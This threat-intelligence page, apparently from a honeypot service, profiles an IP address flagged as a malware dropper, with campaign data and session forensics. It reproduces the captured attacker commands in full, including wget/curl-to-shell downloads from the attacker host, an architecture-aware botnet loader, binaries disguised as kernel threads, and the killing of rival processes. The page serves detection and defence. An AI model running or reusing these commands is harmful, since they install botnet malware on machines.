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85.215.73.250
TAGGED MALICIOUS how we decide →
Why: Our sensors observed malware dropper sessions · certainty: inferred
ip85-215-73-250.pbiaas.com
(pbiaas.com)
✓ FCrDNS
Assessment
Malware dropper: logs in and downloads payloads
- Logged in with one credential in 108 of 108 logins: it returns to a host it treats as already compromised rather than guessing passwords.
- Downloaded 69 files and ran 229 commands on the host.
- Active for 7 days, 2026-10-22 to 2026-10-29.
- Part of a 318-IP campaign probing the same targets.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇩🇪 DE
ASN
AS8560 · IONOS SE
Cloud Provider
—
Total Events
859
Top 5% by volume
Agent Count
2
First / Last Seen
2026-10-22 00:05 — 2026-10-29 22:34
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Defense Evasion
Command and Control
External Corroboration
CINS Army
cins:bad_reputation
Campaigns
Multi-Agent Scan
SCAN
Active
medium
5 IPs
2989 events
2026-03-13 — ongoing · 5 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
285 IPs
809973 events
2026-03-13 — ongoing · 285 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
8 IPs
45776 events
2026-03-05 — ongoing · 8 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
205 IPs
466105 events
2026-02-28 — ongoing · 205 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
318 IPs
1052432 events
2026-02-28 — ongoing · 318 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
255 IPs
766002 events
2026-02-28 — ongoing · 255 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
AS8560 IONOS SE
ASN
Active
medium
🇬🇧 GB
14 IPs
19650 events
ssh:bruteforcessh:connectionssh:intrusionssh:malwaretelnet:connectiontelnet:credential-reusetelnet:intrusiontelnet:malware
2026-02-27 — ongoing · 14 IPs from the same network (IONOS SE, AS8560) were active during overlapping time periods. Temporal correlation across …
Session Forensics
Sessions
109 (108 with login)
Avg Depth Score
0.83
Commands Executed
229
Files Downloaded
69
Notable Commands
- echo VANTA_TEST
- stty -echo 2>/dev/null
- cd /tmp
- wget http://85.215.73.250:80/cats.sh -O - 2>/dev/null | sh &
- curl -s http://85.215.73.250:80/cats.sh 2>/dev/null | sh &
- busybox wget http://85.215.73.250:80/cats.sh -O /tmp/.c 2>/dev/null && sh /tmp/.c &
- wget -q http://85.215.73.250:80/bot-linux-arm -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
- #!/bin/sh C="85.215.73.250" A=$(uname -m 2>/dev/null) case "$A" in armv7l*|armv6l*|armv5l*|armv4l*|arm*) F="bot-linux-arm";; aarch64*|arm64*) F="bot-linux-arm64";; mipsel*) F="bot-linux-mipsle";; mips*) F="bot-linux-mips";; x86_64*|amd64*) F="bot-linux-amd64";; i686*|i586*|i386*) F="bot-linux-386";; *) F="bot-linux-arm";; esac cd /tmp rm -f .nyx 2>/dev/null wget http://$C/$F -O .nyx 2>/dev/null || curl http://$C/$F -o .nyx 2>/dev/null || busybox wget http://$C/$F -O .nyx 2>/dev/null if [ -s .nyx ]; then chmod 777 .nyx ./.nyx & fi rm -f .nyx 2>/dev/null
- wget -q http://85.215.73.250:80/bot-linux-mips -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
- wget -q http://85.215.73.250:80/bot-linux-mipsle -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
- cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_persistent -O .systemd-update -q || curl -sf http://85.215.73.250:80/nyx_bot_linux_amd64_persistent -o .systemd-update; chmod +x .systemd-update; ./.systemd-update &
- ./.systemd-update &
- 404 page not found
- 404 page not found
- cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -O nyx -q || curl -sf http://85.215.73.250:80/nyx_bot_linux_amd64 -o nyx; chmod +x nyx; (while true; do ./nyx; sleep 10; done) &
- ./nyx
- pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/dev/null; killall -9 .k .ks .kw .m .w 2>/dev/null; rm -rf /tmp/.k* /var/run/.k* /dev/shm/.k* 2>/dev/null; cd /tmp || cd /var/run || cd /dev/shm || cd /var; rm -f nyx 2>/dev/null; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -O nyx -q -T2 2>/dev/null || curl -sf http://85.215.73.250:80/nyx_bot_linux_amd64 -o nyx 2>/dev/null; chmod 777 nyx 2>/dev/null; (nohup ./nyx > /dev/null 2>&1 &) 2>/dev/null; exit
- killall -9 .k .ks .kw .m .w
- pkill -9 kthreadd 2>/dev/null; pkill -9 ksoftirqd 2>/dev/null; pkill -9 kworker 2>/dev/null; pkill -9 migration 2>/dev/null; pkill -9 watchdog 2>/dev/null; killall -9 .k .ks .kw .m .w 2>/dev/null; killall -9 kthreadd ksoftirqd kworker migration watchdog 2>/dev/null; rm -rf /tmp/.k* /tmp/.ks* /tmp/.kw* /tmp/.m* /tmp/.w* 2>/dev/null; rm -rf /tmp/kthreadd* /tmp/ksoftirqd* /tmp/kworker* /tmp/migration* /tmp/watchdog* 2>/dev/null; rm -rf /var/run/.k* /var/run/.ks* /var/run/.kw* /var/run/.m* /var/run/.w* 2>/dev/null; rm -rf /var/.k* /var/.ks* /var/.kw* /var/.m* /var/.w* 2>/dev/null; rm -rf /dev/shm/.k* /dev/shm/.ks* /dev/shm/.kw* /dev/shm/.m* /dev/shm/.w* 2>/dev/null; sleep 1; cd /tmp 2>/dev/null || cd /var/run 2>/dev/null || cd /dev/shm 2>/dev/null || cd /var; rm -f .k .ks .kw .m .w 2>/dev/null; wget http://85.215.73.250:80/bins/kthreadd -O .k -q -T2 2>/dev/null || curl -sf http://85.215.73.250:80/bins/kthreadd -o .k 2>/dev/null; wget http://85.215.73.250:80/bins/ksoftirqd -O .ks -q -T2 2>/dev/null || curl -sf http://85.215.73.250:80/bins/ksoftirqd -o .ks 2>/dev/null || /bin/busybox wget http://85.215.73.250:80/bins/ksoftirqd -O .ks -q 2>/dev/null; wget http://85.215.73.250:80/bins/kworker -O .kw -q -T2 2>/dev/null || curl -sf http://85.215.73.250:80/bins/kworker -o .kw 2>/dev/null; wget http://85.215.73.250:80/bins/migration -O .m -q -T2 2>/dev/null; wget http://85.215.73.250:80/bins/watchdog -O .w -q -T2 2>/dev/null; chmod 777 .k .ks .kw .m .w 2>/dev/null; (nohup ./.k > /dev/null 2>&1 &) 2>/dev/null; (nohup ./.ks > /dev/null 2>&1 &) 2>/dev/null; (nohup ./.kw > /dev/null 2>&1 &) 2>/dev/null; (nohup ./.m > /dev/null 2>&1 &) 2>/dev/null; (nohup ./.w > /dev/null 2>&1 &) 2>/dev/null; exit
- killall -9 kthreadd ksoftirqd kworker migration watchdog
Download URLs
- http://85.215.73.250:80/cats.sh
- http://85.215.73.250/bot-linux-amd64
- http://85.215.73.250:80/nyx_bot_linux_amd64_persistent
- http://85.215.73.250:80/nyx_bot_linux_amd64
- http://85.215.73.250:80/bins/kthreadd
- http://85.215.73.250/bins/kthreadd
- http://85.215.73.250/kushnet.x64-test
Evidence Timeline
Malware Dropper
b705aabb5493
LOGIN
7
3
1
100%
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$ echo VANTA_TEST$ stty -echo 2>/dev/null$ cd /tmp$ wget http://85.215.73.250:80/cats.sh -O - 2>/dev/null | sh &$ curl -s http://85.215.73.250:80/cats.sh 2>/dev/null | sh &
http://85.215.73.250:80/cats.shhttp://85.215.73.250:80/cats.shhttp://85.215.73.250:80/cats.sh
Malware Dropper
fe6c7806b4e4
LOGIN
18
4
1
100%
Loading events...
$ echo VANTA_TEST$ stty -echo 2>/dev/null$ cd /tmp$ wget http://85.215.73.250:80/cats.sh -O - 2>/dev/null | sh &$ #!/bin/sh
C="85.215.73.250"
A=$(uname -m 2>/dev/null)
case …
http://85.215.73.250:80/cats.shhttp://85.215.73.250/bot-linux-amd64http://85.215.73.250:80/cats.sh
Reconnaissance
69d2cc4d74d6
LOGIN
2
1
60%
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$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_p…$ ./.systemd-update &
Malware Dropper
94aca9befa5f
LOGIN
3
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_p…$ 404 page not found
$ 404 page not found
http://85.215.73.250:80/nyx_bot_linux_amd64_persistent
Malware Dropper
29afcf95fced
LOGIN
3
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_p…$ 404 page not found
$ 404 page not found
http://85.215.73.250:80/nyx_bot_linux_amd64_persistent
Malware Dropper
9186af1ba638
LOGIN
3
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_p…$ 404 page not found
$ 404 page not found
http://85.215.73.250:80/nyx_bot_linux_amd64_persistent
Malware Dropper
f216a1700be5
LOGIN
3
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_p…$ 404 page not found
$ 404 page not found
http://85.215.73.250:80/nyx_bot_linux_amd64_persistent
Malware Dropper
b232cfb16bc6
LOGIN
3
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_p…$ 404 page not found
$ 404 page not found
http://85.215.73.250:80/nyx_bot_linux_amd64_persistent
Malware Dropper
f477889e980d
LOGIN
3
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_p…$ 404 page not found
$ 404 page not found
http://85.215.73.250:80/nyx_bot_linux_amd64_persistent
Malware Dropper
b6ce943ca6d7
LOGIN
1
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -…
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
c9ba1f4bb921
LOGIN
1
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -…
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
11791f221a09
LOGIN
1
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -…
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
fd6a58b63c34
LOGIN
1
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -…
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
218a847a904a
LOGIN
1
1
1
100%
Loading events...
$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -…
http://85.215.73.250:80/nyx_bot_linux_amd64
Reconnaissance
937b87ff0b24
LOGIN
2
1
60%
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$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -…$ ./nyx
Reconnaissance
62e9b34be9a3
LOGIN
1
1
60%
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$ cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -…
Malware Dropper
ecb8892e1366
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
0486b6cf362a
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
a3af22aca608
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
f57171eb84b8
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
99be8c303e26
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Reconnaissance
f4643bb9281d
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Reconnaissance
107d713d6d2a
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Malware Dropper
631b6b9e163d
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
2f3fc0968817
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
0fa325766a74
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Reconnaissance
dd4204901be9
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Malware Dropper
6457d13c7cc3
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
353a0a79aa98
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
3faab396247b
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Opportunistic Bruter
fdf2b3b7e139
LOGIN
1
50%
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Malware Dropper
9bc8383698b6
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
155bf060dbf0
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
4aedf734f8fd
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
63bb438f98c2
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
85942b3d4194
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
69d55b7e1c5d
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
9a7d749ad539
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
47b6ce525bc6
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
335225265e50
LOGIN
2
1
1
100%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Malware Dropper
f3a35afb4c46
LOGIN
2
1
1
100%
Loading events...
$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
http://85.215.73.250:80/nyx_bot_linux_amd64
Scanner
f89a4143d7ca
15%
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Reconnaissance
a3c1ca306e03
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Reconnaissance
2400e514503c
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Reconnaissance
5c4365974258
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Reconnaissance
a61c7eb6b3d2
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Opportunistic Bruter
2d779fff847c
LOGIN
1
50%
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Reconnaissance
66fab6c5b02f
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Reconnaissance
0c8e496b45b3
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w
Reconnaissance
c40d72e2164d
LOGIN
2
1
60%
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$ pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/d…$ killall -9 .k .ks .kw .m .w